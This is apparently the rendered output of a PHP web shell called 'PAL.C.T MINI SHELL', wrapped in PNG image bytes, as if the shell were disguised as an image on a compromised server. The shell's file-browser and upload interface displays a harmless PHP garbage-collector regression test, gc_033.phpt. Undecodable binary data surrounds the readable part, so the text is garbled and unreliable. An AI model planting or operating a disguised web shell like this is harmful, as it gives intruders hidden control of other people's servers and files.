php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/Zend/tests/
upload
files >> //opt/php-7.0.1/Zend/tests/gc_033.phpt

--TEST--
GC 033: Crash in GC while run with phpspec
--FILE--
<?php
$a = new stdClass();
$a->a = array();
$a->a[0] = new Stdclass();
$a->a[0]->a = $a;
$a->a[1] = &$a->a;

/* remove the self-reference array out of roots */
gc_collect_cycles();

/* do unset */
unset($a);

/* let's full the gc roots */
for ($i=0; $i<9999; $i++) {
	    $b = range(0, 1);
		    $b[0] = &$b;
		    unset($b);
}

/* then $a will be freed, but $a->a[0] is not. reference to a freed $a */
var_dump(gc_collect_cycles());
?>
--EXPECT--
int(20001)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`